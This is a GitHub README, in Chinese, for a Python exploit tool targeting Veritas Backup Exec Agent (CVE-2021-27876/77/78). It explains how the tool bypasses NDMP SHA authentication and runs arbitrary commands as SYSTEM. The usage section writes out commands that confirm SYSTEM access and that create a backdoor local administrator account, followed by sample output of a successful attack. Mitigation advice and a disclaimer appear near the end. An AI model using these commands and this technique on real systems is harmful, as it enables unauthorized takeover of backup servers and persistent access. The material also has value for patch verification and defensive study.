wingerbijay/CVE-2021-27876

GitHub: wingerbijay/CVE-2021-27876

针对 Veritas Backup Exec Agent 的未认证 RCE 漏洞链 exploit,通过 NDMP 协议绕过 SHA 身份认证并以 SYSTEM 权限执行任意命令。

Stars: 0 | Forks: 0

# CVE-2021-27876 针对 Veritas Backup Exec Agent 的无需身份验证 RCE exploit (CVE-2021-27876/77/78) — 通过 NDMP 绕过 SHA 身份验证以获取 SYSTEM 权限 ## CVE | CVE | 描述 | CVSS 3.1 | |---|---|---| | CVE-2021-27876 | 通过在 NDMP 协议中操纵 SHA 哈希绕过身份验证 | 9.8 严重 | | CVE-2021-27877 | 通过 NDMP 进行未经身份验证的任意文件读取 | 9.8 严重 | | CVE-2021-27878 | 通过 `NDMP_EXECUTE_COMMAND` 执行任意 OS 命令 | 9.8 严重 | **安全公告:** Veritas VTS21-003 ## 受影响版本 - Backup Exec 16.x - Backup Exec 20.x - Backup Exec 21.x ≤ 21.2 (agent 修订版本 ≤ 9.3) **修复版本:** Backup Exec 21.3 及更高版本。 ## 工作原理 Veritas Backup Exec Agent 监听 TCP/10000 端口并使用 NDMP (Network Data Management Protocol) 进行通信。该 exploit 串联了三个漏洞: 1. **TLS 握手滥用** — Agent 在其自定义的 TLS 协商期间请求 CSR。该 exploit 会生成一个本地 CA,对 Agent 的 CSR 进行签名,并完成握手,在此过程中 无需任何预共享密钥即可将套接字升级为 TLS。 2. **SHA 身份验证绕过 (CVE-2021-27876)** — NDMP SHA 身份验证会计算 `SHA256('\x00' * 64 + challenge)`。由于密码被作为 64 字节的零填充块前置,且服务端不对密码内容进行 校验,任何客户端都可以在不知道密码的情况下以 `Administrator` 身份进行验证。 3. **NDMP_EXECUTE_COMMAND (CVE-2021-27878)** — 一旦通过身份验证,`NDMP_EXECUTE_COMMAND` 消息类型就会以 `NT AUTHORITY\SYSTEM` 身份运行任意 OS 命令。输出将被重定向到 `C:\Windows\Temp\_be_out.txt` 并通过 `NDMP_FILE_READ` 读回。 ## 环境要求 Python 3.8+ pip install cryptography ## 用法 python3 be_rce.py **示例:** ``` # 确认 SYSTEM 访问权限 python3 be_rce.py 10.10.10.50 "whoami" # 转储 hostname 和 domain python3 be_rce.py 10.10.10.50 "whoami /all" # 添加本地 admin python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add" python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add" Sample output: [*] Connecting to 10.10.10.50:10000 [*] NDMP version: 9 [+] NDMP connection opened [*] Generating CA certificate [*] Got agent CSR (1024 bytes) [*] Signed agent CSR and sent back [*] SSL_HANDSHAKE CONNECT sent [*] Upgrading to TLS [+] TLS established [*] Requesting SHA challenge [*] Got 64-byte SHA challenge [+] SHA authentication bypassed! [*] Executing: whoami [+] Command output: ──────────────────────────────────────── nt authority\system ──────────────────────────────────────── ``` 修复建议 - 将所有主机上的 Veritas Backup Exec Agent 升级至 21.3 或更高版本 - 通过主机防火墙和网络 ACL 将 TCP/10000 端口的访问限制为授权的备份管理主机 - 审核您环境中所有运行 Backup Exec agent 的主机 参考 - https://www.veritas.com/support/en_US/security/VTS21-003 - https://nvd.nist.gov/vuln/detail/CVE-2021-27876 - https://nvd.nist.gov/vuln/detail/CVE-2021-27877 - https://nvd.nist.gov/vuln/detail/CVE-2021-27878 - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb 法律声明 本工具仅供授权的渗透测试和安全研究使用。未经明确书面许可对系统使用本工具是非法的。作者对任何滥用行为不承担责任。
标签:CISA项目, Modbus, 安全, 底层编程, 编程工具, 超时处理, 远程代码执行, 逆向工具